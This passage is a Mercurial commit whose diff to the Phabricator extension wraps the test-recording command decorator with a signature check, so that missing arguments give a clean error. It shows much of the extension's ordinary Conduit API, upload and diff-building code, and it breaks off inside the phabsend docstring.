phabricator: avoid a stacktrace when command arguments are missing

Previously, the TypeError wasn't properly converted to a SignatureError when
improper arguments were supplied to the inner function, because the stack depth
is 2 inside the vcrcommand decorator.  The `__name__` and `__doc__` attributes
need to be reassigned to the new wrapper so that the help summary is available.

Differential Revision: https://phab.mercurial-scm.org/D8209

hgext/phabricator.py

@@ -1,1828 +1,1830 b''
 # phabricator.py - simple Phabricator integration
 #
 # Copyright 2017 Facebook, Inc.
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 """simple Phabricator integration (EXPERIMENTAL)
 
 This extension provides a ``phabsend`` command which sends a stack of
 changesets to Phabricator, and a ``phabread`` command which prints a stack of
 revisions in a format suitable for :hg:`import`, and a ``phabupdate`` command
 to update statuses in batch.
 
 A "phabstatus" view for :hg:`show` is also provided; it displays status
 information of Phabricator differentials associated with unfinished
 changesets.
 
 By default, Phabricator requires ``Test Plan`` which might prevent some
 changeset from being sent. The requirement could be disabled by changing
 ``differential.require-test-plan-field`` config server side.
 
 Config::
 
     [phabricator]
     # Phabricator URL
     url = https://phab.example.com/
 
     # Repo callsign. If a repo has a URL https://$HOST/diffusion/FOO, then its
     # callsign is "FOO".
     callsign = FOO
 
     # curl command to use. If not set (default), use builtin HTTP library to
     # communicate. If set, use the specified curl command. This could be useful
     # if you need to specify advanced options that is not easily supported by
     # the internal library.
     curlcmd = curl --connect-timeout 2 --retry 3 --silent
 
     [auth]
     example.schemes = https
     example.prefix = phab.example.com
 
     # API token. Get it from https://$HOST/conduit/login/
     example.phabtoken = cli-xxxxxxxxxxxxxxxxxxxxxxxxxxxx
 """
 
 from __future__ import absolute_import
 
 import base64
 import contextlib
 import hashlib
 import itertools
 import json
 import mimetypes
 import operator
 import re
 
 from mercurial.node import bin, nullid
 from mercurial.i18n import _
 from mercurial.pycompat import getattr
 from mercurial.thirdparty import attr
 from mercurial import (
     cmdutil,
     context,
     encoding,
     error,
     exthelper,
     graphmod,
     httpconnection as httpconnectionmod,
     localrepo,
     logcmdutil,
     match,
     mdiff,
     obsutil,
     parser,
     patch,
     phases,
     pycompat,
     scmutil,
     smartset,
     tags,
     templatefilters,
     templateutil,
     url as urlmod,
     util,
 )
 from mercurial.utils import (
     procutil,
     stringutil,
 )
 from . import show
 
 
 # Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
 # extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
 # be specifying the version(s) of Mercurial they are tested with, or
 # leave the attribute unspecified.
 testedwith = b'ships-with-hg-core'
 
 eh = exthelper.exthelper()
 
 cmdtable = eh.cmdtable
 command = eh.command
 configtable = eh.configtable
 templatekeyword = eh.templatekeyword
 uisetup = eh.finaluisetup
 
 # developer config: phabricator.batchsize
 eh.configitem(
     b'phabricator', b'batchsize', default=12,
 )
 eh.configitem(
     b'phabricator', b'callsign', default=None,
 )
 eh.configitem(
     b'phabricator', b'curlcmd', default=None,
 )
 # developer config: phabricator.repophid
 eh.configitem(
     b'phabricator', b'repophid', default=None,
 )
 eh.configitem(
     b'phabricator', b'url', default=None,
 )
 eh.configitem(
     b'phabsend', b'confirm', default=False,
 )
 
 colortable = {
     b'phabricator.action.created': b'green',
     b'phabricator.action.skipped': b'magenta',
     b'phabricator.action.updated': b'magenta',
     b'phabricator.desc': b'',
     b'phabricator.drev': b'bold',
     b'phabricator.node': b'',
     b'phabricator.status.abandoned': b'magenta dim',
     b'phabricator.status.accepted': b'green bold',
     b'phabricator.status.closed': b'green',
     b'phabricator.status.needsreview': b'yellow',
     b'phabricator.status.needsrevision': b'red',
     b'phabricator.status.changesplanned': b'red',
 }
 
 _VCR_FLAGS = [
     (
         b'',
         b'test-vcr',
         b'',
         _(
             b'Path to a vcr file. If nonexistent, will record a new vcr transcript'
             b', otherwise will mock all http requests using the specified vcr file.'
             b' (ADVANCED)'
         ),
     ),
 ]
 
 
 @eh.wrapfunction(localrepo, "loadhgrc")
 def _loadhgrc(orig, ui, wdirvfs, hgvfs, requirements):
     """Load ``.arcconfig`` content into a ui instance on repository open.
     """
     result = False
     arcconfig = {}
 
     try:
         # json.loads only accepts bytes from 3.6+
         rawparams = encoding.unifromlocal(wdirvfs.read(b".arcconfig"))
         # json.loads only returns unicode strings
         arcconfig = pycompat.rapply(
             lambda x: encoding.unitolocal(x)
             if isinstance(x, pycompat.unicode)
             else x,
             pycompat.json_loads(rawparams),
         )
 
         result = True
     except ValueError:
         ui.warn(_(b"invalid JSON in %s\n") % wdirvfs.join(b".arcconfig"))
     except IOError:
         pass
 
     cfg = util.sortdict()
 
     if b"repository.callsign" in arcconfig:
         cfg[(b"phabricator", b"callsign")] = arcconfig[b"repository.callsign"]
 
     if b"phabricator.uri" in arcconfig:
         cfg[(b"phabricator", b"url")] = arcconfig[b"phabricator.uri"]
 
     if cfg:
         ui.applyconfig(cfg, source=wdirvfs.join(b".arcconfig"))
 
     return orig(ui, wdirvfs, hgvfs, requirements) or result  # Load .hg/hgrc
 
 
 def vcrcommand(name, flags, spec, helpcategory=None, optionalrepo=False):
     fullflags = flags + _VCR_FLAGS
 
     def hgmatcher(r1, r2):
         if r1.uri != r2.uri or r1.method != r2.method:
             return False
         r1params = util.urlreq.parseqs(r1.body)
         r2params = util.urlreq.parseqs(r2.body)
         for key in r1params:
             if key not in r2params:
                 return False
             value = r1params[key][0]
             # we want to compare json payloads without worrying about ordering
             if value.startswith(b'{') and value.endswith(b'}'):
                 r1json = pycompat.json_loads(value)
                 r2json = pycompat.json_loads(r2params[key][0])
                 if r1json != r2json:
                     return False
             elif r2params[key][0] != value:
                 return False
         return True
 
     def sanitiserequest(request):
         request.body = re.sub(
             br'cli-[a-z0-9]+', br'cli-hahayouwish', request.body
         )
         return request
 
     def sanitiseresponse(response):
         if 'set-cookie' in response['headers']:
             del response['headers']['set-cookie']
         return response
 
     def decorate(fn):
         def inner(*args, **kwargs):
             cassette = pycompat.fsdecode(kwargs.pop('test_vcr', None))
             if cassette:
                 import hgdemandimport
 
                 with hgdemandimport.deactivated():
                     import vcr as vcrmod
                     import vcr.stubs as stubs
 
                     vcr = vcrmod.VCR(
                         serializer='json',
                         before_record_request=sanitiserequest,
                         before_record_response=sanitiseresponse,
                         custom_patches=[
                             (
                                 urlmod,
                                 'httpconnection',
                                 stubs.VCRHTTPConnection,
                             ),
                             (
                                 urlmod,
                                 'httpsconnection',
                                 stubs.VCRHTTPSConnection,
                             ),
                         ],
                     )
                     vcr.register_matcher('hgmatcher', hgmatcher)
                     with vcr.use_cassette(cassette, match_on=['hgmatcher']):
                         return fn(*args, **kwargs)
             return fn(*args, **kwargs)
 
-        inner.__name__ = fn.__name__
-        inner.__doc__ = fn.__doc__
+        cmd = util.checksignature(inner, depth=2)
+        cmd.__name__ = fn.__name__
+        cmd.__doc__ = fn.__doc__
+
         return command(
             name,
             fullflags,
             spec,
             helpcategory=helpcategory,
             optionalrepo=optionalrepo,
-        )(inner)
+        )(cmd)
 
     return decorate
 
 
 def urlencodenested(params):
     """like urlencode, but works with nested parameters.
 
     For example, if params is {'a': ['b', 'c'], 'd': {'e': 'f'}}, it will be
     flattened to {'a[0]': 'b', 'a[1]': 'c', 'd[e]': 'f'} and then passed to
     urlencode. Note: the encoding is consistent with PHP's http_build_query.
     """
     flatparams = util.sortdict()
 
     def process(prefix, obj):
         if isinstance(obj, bool):
             obj = {True: b'true', False: b'false'}[obj]  # Python -> PHP form
         lister = lambda l: [(b'%d' % k, v) for k, v in enumerate(l)]
         items = {list: lister, dict: lambda x: x.items()}.get(type(obj))
         if items is None:
             flatparams[prefix] = obj
         else:
             for k, v in items(obj):
                 if prefix:
                     process(b'%s[%s]' % (prefix, k), v)
                 else:
                     process(k, v)
 
     process(b'', params)
     return util.urlreq.urlencode(flatparams)
 
 
 def readurltoken(ui):
     """return conduit url, token and make sure they exist
 
     Currently read from [auth] config section. In the future, it might
     make sense to read from .arcconfig and .arcrc as well.
     """
     url = ui.config(b'phabricator', b'url')
     if not url:
         raise error.Abort(
             _(b'config %s.%s is required') % (b'phabricator', b'url')
         )
 
     res = httpconnectionmod.readauthforuri(ui, url, util.url(url).user)
     token = None
 
     if res:
         group, auth = res
 
         ui.debug(b"using auth.%s.* for authentication\n" % group)
 
         token = auth.get(b'phabtoken')
 
     if not token:
         raise error.Abort(
             _(b'Can\'t find conduit token associated to %s') % (url,)
         )
 
     return url, token
 
 
 def callconduit(ui, name, params):
     """call Conduit API, params is a dict. return json.loads result, or None"""
     host, token = readurltoken(ui)
     url, authinfo = util.url(b'/'.join([host, b'api', name])).authinfo()
     ui.debug(b'Conduit Call: %s %s\n' % (url, pycompat.byterepr(params)))
     params = params.copy()
     params[b'__conduit__'] = {
         b'token': token,
     }
     rawdata = {
         b'params': templatefilters.json(params),
         b'output': b'json',
         b'__conduit__': 1,
     }
     data = urlencodenested(rawdata)
     curlcmd = ui.config(b'phabricator', b'curlcmd')
     if curlcmd:
         sin, sout = procutil.popen2(
             b'%s -d @- %s' % (curlcmd, procutil.shellquote(url))
         )
         sin.write(data)
         sin.close()
         body = sout.read()
     else:
         urlopener = urlmod.opener(ui, authinfo)
         request = util.urlreq.request(pycompat.strurl(url), data=data)
         with contextlib.closing(urlopener.open(request)) as rsp:
             body = rsp.read()
     ui.debug(b'Conduit Response: %s\n' % body)
     parsed = pycompat.rapply(
         lambda x: encoding.unitolocal(x)
         if isinstance(x, pycompat.unicode)
         else x,
         # json.loads only accepts bytes from py3.6+
         pycompat.json_loads(encoding.unifromlocal(body)),
     )
     if parsed.get(b'error_code'):
         msg = _(b'Conduit Error (%s): %s') % (
             parsed[b'error_code'],
             parsed[b'error_info'],
         )
         raise error.Abort(msg)
     return parsed[b'result']
 
 
 @vcrcommand(b'debugcallconduit', [], _(b'METHOD'), optionalrepo=True)
 def debugcallconduit(ui, repo, name):
     """call Conduit API
 
     Call parameters are read from stdin as a JSON blob. Result will be written
     to stdout as a JSON blob.
     """
     # json.loads only accepts bytes from 3.6+
     rawparams = encoding.unifromlocal(ui.fin.read())
     # json.loads only returns unicode strings
     params = pycompat.rapply(
         lambda x: encoding.unitolocal(x)
         if isinstance(x, pycompat.unicode)
         else x,
         pycompat.json_loads(rawparams),
     )
     # json.dumps only accepts unicode strings
     result = pycompat.rapply(
         lambda x: encoding.unifromlocal(x) if isinstance(x, bytes) else x,
         callconduit(ui, name, params),
     )
     s = json.dumps(result, sort_keys=True, indent=2, separators=(u',', u': '))
     ui.write(b'%s\n' % encoding.unitolocal(s))
 
 
 def getrepophid(repo):
     """given callsign, return repository PHID or None"""
     # developer config: phabricator.repophid
     repophid = repo.ui.config(b'phabricator', b'repophid')
     if repophid:
         return repophid
     callsign = repo.ui.config(b'phabricator', b'callsign')
     if not callsign:
         return None
     query = callconduit(
         repo.ui,
         b'diffusion.repository.search',
         {b'constraints': {b'callsigns': [callsign]}},
     )
     if len(query[b'data']) == 0:
         return None
     repophid = query[b'data'][0][b'phid']
     repo.ui.setconfig(b'phabricator', b'repophid', repophid)
     return repophid
 
 
 _differentialrevisiontagre = re.compile(br'\AD([1-9][0-9]*)\Z')
 _differentialrevisiondescre = re.compile(
     br'^Differential Revision:\s*(?P<url>(?:.*)D(?P<id>[1-9][0-9]*))$', re.M
 )
 
 
 def getoldnodedrevmap(repo, nodelist):
     """find previous nodes that has been sent to Phabricator
 
     return {node: (oldnode, Differential diff, Differential Revision ID)}
     for node in nodelist with known previous sent versions, or associated
     Differential Revision IDs. ``oldnode`` and ``Differential diff`` could
     be ``None``.
 
     Examines commit messages like "Differential Revision:" to get the
     association information.
 
     If such commit message line is not found, examines all precursors and their
     tags. Tags with format like "D1234" are considered a match and the node
     with that tag, and the number after "D" (ex. 1234) will be returned.
 
     The ``old node``, if not None, is guaranteed to be the last diff of
     corresponding Differential Revision, and exist in the repo.
     """
     unfi = repo.unfiltered()
     has_node = unfi.changelog.index.has_node
 
     result = {}  # {node: (oldnode?, lastdiff?, drev)}
     toconfirm = {}  # {node: (force, {precnode}, drev)}
     for node in nodelist:
         ctx = unfi[node]
         # For tags like "D123", put them into "toconfirm" to verify later
         precnodes = list(obsutil.allpredecessors(unfi.obsstore, [node]))
         for n in precnodes:
             if has_node(n):
                 for tag in unfi.nodetags(n):
                     m = _differentialrevisiontagre.match(tag)
                     if m:
                         toconfirm[node] = (0, set(precnodes), int(m.group(1)))
                         break
                 else:
                     continue  # move to next predecessor
                 break  # found a tag, stop
         else:
             # Check commit message
             m = _differentialrevisiondescre.search(ctx.description())
             if m:
                 toconfirm[node] = (1, set(precnodes), int(m.group('id')))
 
     # Double check if tags are genuine by collecting all old nodes from
     # Phabricator, and expect precursors overlap with it.
     if toconfirm:
         drevs = [drev for force, precs, drev in toconfirm.values()]
         alldiffs = callconduit(
             unfi.ui, b'differential.querydiffs', {b'revisionIDs': drevs}
         )
         getnode = lambda d: bin(getdiffmeta(d).get(b'node', b'')) or None
         for newnode, (force, precset, drev) in toconfirm.items():
             diffs = [
                 d for d in alldiffs.values() if int(d[b'revisionID']) == drev
             ]
 
             # "precursors" as known by Phabricator
             phprecset = set(getnode(d) for d in diffs)
 
             # Ignore if precursors (Phabricator and local repo) do not overlap,
             # and force is not set (when commit message says nothing)
             if not force and not bool(phprecset & precset):
                 tagname = b'D%d' % drev
                 tags.tag(
                     repo,
                     tagname,
                     nullid,
                     message=None,
                     user=None,
                     date=None,
                     local=True,
                 )
                 unfi.ui.warn(
                     _(
                         b'D%d: local tag removed - does not match '
                         b'Differential history\n'
                     )
                     % drev
                 )
                 continue
 
             # Find the last node using Phabricator metadata, and make sure it
             # exists in the repo
             oldnode = lastdiff = None
             if diffs:
                 lastdiff = max(diffs, key=lambda d: int(d[b'id']))
                 oldnode = getnode(lastdiff)
                 if oldnode and not has_node(oldnode):
                     oldnode = None
 
             result[newnode] = (oldnode, lastdiff, drev)
 
     return result
 
 
 def getdrevmap(repo, revs):
     """Return a dict mapping each rev in `revs` to their Differential Revision
     ID or None.
     """
     result = {}
     for rev in revs:
         result[rev] = None
         ctx = repo[rev]
         # Check commit message
         m = _differentialrevisiondescre.search(ctx.description())
         if m:
             result[rev] = int(m.group('id'))
             continue
         # Check tags
         for tag in repo.nodetags(ctx.node()):
             m = _differentialrevisiontagre.match(tag)
             if m:
                 result[rev] = int(m.group(1))
                 break
 
     return result
 
 
 def getdiff(ctx, diffopts):
     """plain-text diff without header (user, commit message, etc)"""
     output = util.stringio()
     for chunk, _label in patch.diffui(
         ctx.repo(), ctx.p1().node(), ctx.node(), None, opts=diffopts
     ):
         output.write(chunk)
     return output.getvalue()
 
 
 class DiffChangeType(object):
     ADD = 1
     CHANGE = 2
     DELETE = 3
     MOVE_AWAY = 4
     COPY_AWAY = 5
     MOVE_HERE = 6
     COPY_HERE = 7
     MULTICOPY = 8
 
 
 class DiffFileType(object):
     TEXT = 1
     IMAGE = 2
     BINARY = 3
 
 
 @attr.s
 class phabhunk(dict):
     """Represents a Differential hunk, which is owned by a Differential change
     """
 
     oldOffset = attr.ib(default=0)  # camelcase-required
     oldLength = attr.ib(default=0)  # camelcase-required
     newOffset = attr.ib(default=0)  # camelcase-required
     newLength = attr.ib(default=0)  # camelcase-required
     corpus = attr.ib(default='')
     # These get added to the phabchange's equivalents
     addLines = attr.ib(default=0)  # camelcase-required
     delLines = attr.ib(default=0)  # camelcase-required
 
 
 @attr.s
 class phabchange(object):
     """Represents a Differential change, owns Differential hunks and owned by a
     Differential diff.  Each one represents one file in a diff.
     """
 
     currentPath = attr.ib(default=None)  # camelcase-required
     oldPath = attr.ib(default=None)  # camelcase-required
     awayPaths = attr.ib(default=attr.Factory(list))  # camelcase-required
     metadata = attr.ib(default=attr.Factory(dict))
     oldProperties = attr.ib(default=attr.Factory(dict))  # camelcase-required
     newProperties = attr.ib(default=attr.Factory(dict))  # camelcase-required
     type = attr.ib(default=DiffChangeType.CHANGE)
     fileType = attr.ib(default=DiffFileType.TEXT)  # camelcase-required
     commitHash = attr.ib(default=None)  # camelcase-required
     addLines = attr.ib(default=0)  # camelcase-required
     delLines = attr.ib(default=0)  # camelcase-required
     hunks = attr.ib(default=attr.Factory(list))
 
     def copynewmetadatatoold(self):
         for key in list(self.metadata.keys()):
             newkey = key.replace(b'new:', b'old:')
             self.metadata[newkey] = self.metadata[key]
 
     def addoldmode(self, value):
         self.oldProperties[b'unix:filemode'] = value
 
     def addnewmode(self, value):
         self.newProperties[b'unix:filemode'] = value
 
     def addhunk(self, hunk):
         if not isinstance(hunk, phabhunk):
             raise error.Abort(b'phabchange.addhunk only takes phabhunks')
         self.hunks.append(pycompat.byteskwargs(attr.asdict(hunk)))
         # It's useful to include these stats since the Phab web UI shows them,
         # and uses them to estimate how large a change a Revision is. Also used
         # in email subjects for the [+++--] bit.
         self.addLines += hunk.addLines
         self.delLines += hunk.delLines
 
 
 @attr.s
 class phabdiff(object):
     """Represents a Differential diff, owns Differential changes.  Corresponds
     to a commit.
     """
 
     # Doesn't seem to be any reason to send this (output of uname -n)
     sourceMachine = attr.ib(default=b'')  # camelcase-required
     sourcePath = attr.ib(default=b'/')  # camelcase-required
     sourceControlBaseRevision = attr.ib(default=b'0' * 40)  # camelcase-required
     sourceControlPath = attr.ib(default=b'/')  # camelcase-required
     sourceControlSystem = attr.ib(default=b'hg')  # camelcase-required
     branch = attr.ib(default=b'default')
     bookmark = attr.ib(default=None)
     creationMethod = attr.ib(default=b'phabsend')  # camelcase-required
     lintStatus = attr.ib(default=b'none')  # camelcase-required
     unitStatus = attr.ib(default=b'none')  # camelcase-required
     changes = attr.ib(default=attr.Factory(dict))
     repositoryPHID = attr.ib(default=None)  # camelcase-required
 
     def addchange(self, change):
         if not isinstance(change, phabchange):
             raise error.Abort(b'phabdiff.addchange only takes phabchanges')
         self.changes[change.currentPath] = pycompat.byteskwargs(
             attr.asdict(change)
         )
 
 
 def maketext(pchange, ctx, fname):
     """populate the phabchange for a text file"""
     repo = ctx.repo()
     fmatcher = match.exact([fname])
     diffopts = mdiff.diffopts(git=True, context=32767)
     _pfctx, _fctx, header, fhunks = next(
         patch.diffhunks(repo, ctx.p1(), ctx, fmatcher, opts=diffopts)
     )
 
     for fhunk in fhunks:
         (oldOffset, oldLength, newOffset, newLength), lines = fhunk
         corpus = b''.join(lines[1:])
         shunk = list(header)
         shunk.extend(lines)
         _mf, _mt, addLines, delLines, _hb = patch.diffstatsum(
             patch.diffstatdata(util.iterlines(shunk))
         )
         pchange.addhunk(
             phabhunk(
                 oldOffset,
                 oldLength,
                 newOffset,
                 newLength,
                 corpus,
                 addLines,
                 delLines,
             )
         )
 
 
 def uploadchunks(fctx, fphid):
     """upload large binary files as separate chunks.
     Phab requests chunking over 8MiB, and splits into 4MiB chunks
     """
     ui = fctx.repo().ui
     chunks = callconduit(ui, b'file.querychunks', {b'filePHID': fphid})
     with ui.makeprogress(
         _(b'uploading file chunks'), unit=_(b'chunks'), total=len(chunks)
     ) as progress:
         for chunk in chunks:
             progress.increment()
             if chunk[b'complete']:
                 continue
             bstart = int(chunk[b'byteStart'])
             bend = int(chunk[b'byteEnd'])
             callconduit(
                 ui,
                 b'file.uploadchunk',
                 {
                     b'filePHID': fphid,
                     b'byteStart': bstart,
                     b'data': base64.b64encode(fctx.data()[bstart:bend]),
                     b'dataEncoding': b'base64',
                 },
             )
 
 
 def uploadfile(fctx):
     """upload binary files to Phabricator"""
     repo = fctx.repo()
     ui = repo.ui
     fname = fctx.path()
     size = fctx.size()
     fhash = pycompat.bytestr(hashlib.sha256(fctx.data()).hexdigest())
 
     # an allocate call is required first to see if an upload is even required
     # (Phab might already have it) and to determine if chunking is needed
     allocateparams = {
         b'name': fname,
         b'contentLength': size,
         b'contentHash': fhash,
     }
     filealloc = callconduit(ui, b'file.allocate', allocateparams)
     fphid = filealloc[b'filePHID']
 
     if filealloc[b'upload']:
         ui.write(_(b'uploading %s\n') % bytes(fctx))
         if not fphid:
             uploadparams = {
                 b'name': fname,
                 b'data_base64': base64.b64encode(fctx.data()),
             }
             fphid = callconduit(ui, b'file.upload', uploadparams)
         else:
             uploadchunks(fctx, fphid)
     else:
         ui.debug(b'server already has %s\n' % bytes(fctx))
 
     if not fphid:
         raise error.Abort(b'Upload of %s failed.' % bytes(fctx))
 
     return fphid
 
 
 def addoldbinary(pchange, oldfctx, fctx):
     """add the metadata for the previous version of a binary file to the
     phabchange for the new version
 
     ``oldfctx`` is the previous version of the file; ``fctx`` is the new
     version of the file, or None if the file is being removed.
     """
     if not fctx or fctx.cmp(oldfctx):
         # Files differ, add the old one
         pchange.metadata[b'old:file:size'] = oldfctx.size()
         mimeguess, _enc = mimetypes.guess_type(
             encoding.unifromlocal(oldfctx.path())
         )
         if mimeguess:
             pchange.metadata[b'old:file:mime-type'] = pycompat.bytestr(
                 mimeguess
             )
         fphid = uploadfile(oldfctx)
         pchange.metadata[b'old:binary-phid'] = fphid
     else:
         # If it's left as IMAGE/BINARY web UI might try to display it
         pchange.fileType = DiffFileType.TEXT
         pchange.copynewmetadatatoold()
 
 
 def makebinary(pchange, fctx):
     """populate the phabchange for a binary file"""
     pchange.fileType = DiffFileType.BINARY
     fphid = uploadfile(fctx)
     pchange.metadata[b'new:binary-phid'] = fphid
     pchange.metadata[b'new:file:size'] = fctx.size()
     mimeguess, _enc = mimetypes.guess_type(encoding.unifromlocal(fctx.path()))
     if mimeguess:
         mimeguess = pycompat.bytestr(mimeguess)
         pchange.metadata[b'new:file:mime-type'] = mimeguess
         if mimeguess.startswith(b'image/'):
             pchange.fileType = DiffFileType.IMAGE
 
 
 # Copied from mercurial/patch.py
 gitmode = {b'l': b'120000', b'x': b'100755', b'': b'100644'}
 
 
 def notutf8(fctx):
     """detect non-UTF-8 text files since Phabricator requires them to be marked
     as binary
     """
     try:
         fctx.data().decode('utf-8')
         return False
     except UnicodeDecodeError:
         fctx.repo().ui.write(
             _(b'file %s detected as non-UTF-8, marked as binary\n')
             % fctx.path()
         )
         return True
 
 
 def addremoved(pdiff, ctx, removed):
     """add removed files to the phabdiff. Shouldn't include moves"""
     for fname in removed:
         pchange = phabchange(
             currentPath=fname, oldPath=fname, type=DiffChangeType.DELETE
         )
         pchange.addoldmode(gitmode[ctx.p1()[fname].flags()])
         oldfctx = ctx.p1()[fname]
         if not (oldfctx.isbinary() or notutf8(oldfctx)):
             maketext(pchange, ctx, fname)
 
         pdiff.addchange(pchange)
 
 
 def addmodified(pdiff, ctx, modified):
     """add modified files to the phabdiff"""
     for fname in modified:
         fctx = ctx[fname]
         oldfctx = fctx.p1()
         pchange = phabchange(currentPath=fname, oldPath=fname)
         filemode = gitmode[ctx[fname].flags()]
         originalmode = gitmode[ctx.p1()[fname].flags()]
         if filemode != originalmode:
             pchange.addoldmode(originalmode)
             pchange.addnewmode(filemode)
 
         if (
             fctx.isbinary()
             or notutf8(fctx)
             or oldfctx.isbinary()
             or notutf8(oldfctx)
         ):
             makebinary(pchange, fctx)
             addoldbinary(pchange, fctx.p1(), fctx)
         else:
             maketext(pchange, ctx, fname)
 
         pdiff.addchange(pchange)
 
 
 def addadded(pdiff, ctx, added, removed):
     """add file adds to the phabdiff, both new files and copies/moves"""
     # Keep track of files that've been recorded as moved/copied, so if there are
     # additional copies we can mark them (moves get removed from removed)
     copiedchanges = {}
     movedchanges = {}
     for fname in added:
         fctx = ctx[fname]
         oldfctx = None
         pchange = phabchange(currentPath=fname)
 
         filemode = gitmode[ctx[fname].flags()]
         renamed = fctx.renamed()
 
         if renamed:
             originalfname = renamed[0]
             oldfctx = ctx.p1()[originalfname]
             originalmode = gitmode[oldfctx.flags()]
             pchange.oldPath = originalfname
 
             if originalfname in removed:
                 origpchange = phabchange(
                     currentPath=originalfname,
                     oldPath=originalfname,
                     type=DiffChangeType.MOVE_AWAY,
                     awayPaths=[fname],
                 )
                 movedchanges[originalfname] = origpchange
                 removed.remove(originalfname)
                 pchange.type = DiffChangeType.MOVE_HERE
             elif originalfname in movedchanges:
                 movedchanges[originalfname].type = DiffChangeType.MULTICOPY
                 movedchanges[originalfname].awayPaths.append(fname)
                 pchange.type = DiffChangeType.COPY_HERE
             else:  # pure copy
                 if originalfname not in copiedchanges:
                     origpchange = phabchange(
                         currentPath=originalfname, type=DiffChangeType.COPY_AWAY
                     )
                     copiedchanges[originalfname] = origpchange
                 else:
                     origpchange = copiedchanges[originalfname]
                 origpchange.awayPaths.append(fname)
                 pchange.type = DiffChangeType.COPY_HERE
 
             if filemode != originalmode:
                 pchange.addoldmode(originalmode)
                 pchange.addnewmode(filemode)
         else:  # Brand-new file
             pchange.addnewmode(gitmode[fctx.flags()])
             pchange.type = DiffChangeType.ADD
 
         if (
             fctx.isbinary()
             or notutf8(fctx)
             or (oldfctx and (oldfctx.isbinary() or notutf8(oldfctx)))
         ):
             makebinary(pchange, fctx)
             if renamed:
                 addoldbinary(pchange, oldfctx, fctx)
         else:
             maketext(pchange, ctx, fname)
 
         pdiff.addchange(pchange)
 
     for _path, copiedchange in copiedchanges.items():
         pdiff.addchange(copiedchange)
     for _path, movedchange in movedchanges.items():
         pdiff.addchange(movedchange)
 
 
 def creatediff(ctx):
     """create a Differential Diff"""
     repo = ctx.repo()
     repophid = getrepophid(repo)
     # Create a "Differential Diff" via "differential.creatediff" API
     pdiff = phabdiff(
         sourceControlBaseRevision=b'%s' % ctx.p1().hex(),
         branch=b'%s' % ctx.branch(),
     )
     modified, added, removed, _d, _u, _i, _c = ctx.p1().status(ctx)
     # addadded will remove moved files from removed, so addremoved won't get
     # them
     addadded(pdiff, ctx, added, removed)
     addmodified(pdiff, ctx, modified)
     addremoved(pdiff, ctx, removed)
     if repophid:
         pdiff.repositoryPHID = repophid
     diff = callconduit(
         repo.ui,
         b'differential.creatediff',
         pycompat.byteskwargs(attr.asdict(pdiff)),
     )
     if not diff:
         raise error.Abort(_(b'cannot create diff for %s') % ctx)
     return diff
 
 
 def writediffproperties(ctx, diff):
     """write metadata to diff so patches could be applied losslessly"""
     # creatediff returns with a diffid but query returns with an id
     diffid = diff.get(b'diffid', diff.get(b'id'))
     params = {
         b'diff_id': diffid,
         b'name': b'hg:meta',
         b'data': templatefilters.json(
             {
                 b'user': ctx.user(),
                 b'date': b'%d %d' % ctx.date(),
                 b'branch': ctx.branch(),
                 b'node': ctx.hex(),
                 b'parent': ctx.p1().hex(),
             }
         ),
     }
     callconduit(ctx.repo().ui, b'differential.setdiffproperty', params)
 
     params = {
         b'diff_id': diffid,
         b'name': b'local:commits',
         b'data': templatefilters.json(
             {
                 ctx.hex(): {
                     b'author': stringutil.person(ctx.user()),
                     b'authorEmail': stringutil.email(ctx.user()),
                     b'time': int(ctx.date()[0]),
                     b'commit': ctx.hex(),
                     b'parents': [ctx.p1().hex()],
                     b'branch': ctx.branch(),
                 },
             }
         ),
     }
     callconduit(ctx.repo().ui, b'differential.setdiffproperty', params)
 
 
 def createdifferentialrevision(
     ctx,
     revid=None,
     parentrevphid=None,
     oldnode=None,
     olddiff=None,
     actions=None,
     comment=None,
 ):
     """create or update a Differential Revision
 
     If revid is None, create a new Differential Revision, otherwise update
     revid. If parentrevphid is not None, set it as a dependency.
 
     If oldnode is not None, check if the patch content (without commit message
     and metadata) has changed before creating another diff.
 
     If actions is not None, they will be appended to the transaction.
     """
     repo = ctx.repo()
     if oldnode:
         diffopts = mdiff.diffopts(git=True, context=32767)
         oldctx = repo.unfiltered()[oldnode]
         neednewdiff = getdiff(ctx, diffopts) != getdiff(oldctx, diffopts)
     else:
         neednewdiff = True
 
     transactions = []
     if neednewdiff:
         diff = creatediff(ctx)
         transactions.append({b'type': b'update', b'value': diff[b'phid']})
         if comment:
             transactions.append({b'type': b'comment', b'value': comment})
     else:
         # Even if we don't need to upload a new diff because the patch content
         # does not change. We might still need to update its metadata so
         # pushers could know the correct node metadata.
         assert olddiff
         diff = olddiff
     writediffproperties(ctx, diff)
 
     # Set the parent Revision every time, so commit re-ordering is picked-up
     if parentrevphid:
         transactions.append(
             {b'type': b'parents.set', b'value': [parentrevphid]}
         )
 
     if actions:
         transactions += actions
 
     # Parse commit message and update related fields.
     desc = ctx.description()
     info = callconduit(
         repo.ui, b'differential.parsecommitmessage', {b'corpus': desc}
     )
     for k, v in info[b'fields'].items():
         if k in [b'title', b'summary', b'testPlan']:
             transactions.append({b'type': k, b'value': v})
 
     params = {b'transactions': transactions}
     if revid is not None:
         # Update an existing Differential Revision
         params[b'objectIdentifier'] = revid
 
     revision = callconduit(repo.ui, b'differential.revision.edit', params)
     if not revision:
         raise error.Abort(_(b'cannot create revision for %s') % ctx)
 
     return revision, diff
 
 
 def userphids(ui, names):
     """convert user names to PHIDs"""
     names = [name.lower() for name in names]
     query = {b'constraints': {b'usernames': names}}
     result = callconduit(ui, b'user.search', query)
     # username not found is not an error of the API. So check if we have missed
     # some names here.
     data = result[b'data']
     resolved = set(entry[b'fields'][b'username'].lower() for entry in data)
     unresolved = set(names) - resolved
     if unresolved:
         raise error.Abort(
             _(b'unknown username: %s') % b' '.join(sorted(unresolved))
         )
     return [entry[b'phid'] for entry in data]
 
 
 @vcrcommand(
     b'phabsend',
     [
         (b'r', b'rev', [], _(b'revisions to send'), _(b'REV')),
         (b'', b'amend', True, _(b'update commit messages')),
         (b'', b'reviewer', [], _(b'specify reviewers')),
         (b'', b'blocker', [], _(b'specify blocking reviewers')),
         (
             b'm',
             b'comment',
             b'',
             _(b'add a comment to Revisions with new/updated Diffs'),
         ),
         (b'', b'confirm', None, _(b'ask for confirmation before sending')),
     ],
     _(b'REV [OPTIONS]'),
     helpcategory=command.CATEGORY_IMPORT_EXPORT,
 )
 def phabsend(ui, repo, *revs, **opts):
     """upload changesets to Phabricator
 
     If there are multiple revisions specified, they will be send as a stack
